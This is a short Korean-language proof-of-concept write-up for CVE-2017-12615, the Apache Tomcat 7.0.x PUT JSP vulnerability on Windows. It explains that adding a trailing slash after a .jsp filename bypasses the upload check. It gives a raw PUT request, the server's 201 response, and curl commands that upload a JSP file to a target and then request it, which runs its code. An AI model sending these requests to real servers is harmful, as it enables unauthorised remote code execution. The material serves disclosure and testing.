
Apache Tomcat 7.0.x CVE-2017-12615 PUT JSP 취약점에 대한 POC 익스플로잇.
Windows에서 실행되는 Apache Tomcat 7.0.0~7.0.79용 POC 익스플로잇; CVE-2017-12615 PUT JSP 취약점.
기본적으로 Apache Tomcat 서버에서는 PUT 메서드를 통해 JSP 파일을 업로드할 수 없습니다. 이는 공격자가 JSP 셸을 업로드하여 서버에서 원격 코드 실행을 획득하는 것을 방지하기 위한 보안 조치로 보입니다. 그러나 불충분한 검사로 인해 공격자는 특수하게 조작된 HTTP 요청을 사용하여 Tomcat 서버에 PUT 메서드를 요청함으로써 PUT이 활성화된 7.0.{0 to 79} Tomcat 서버에서 원격 코드 실행을 획득할 수 있습니다. 하지만 진심으로, 특별하다고? 제발요.
파일 이름의 확장자 뒤에 '/' 문자를 추가하면 파일 확장자 검사를 우회할 수 있습니다. 그게 전부입니다. 그러니까, 사실 그렇게 특별하지 않습니다.
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp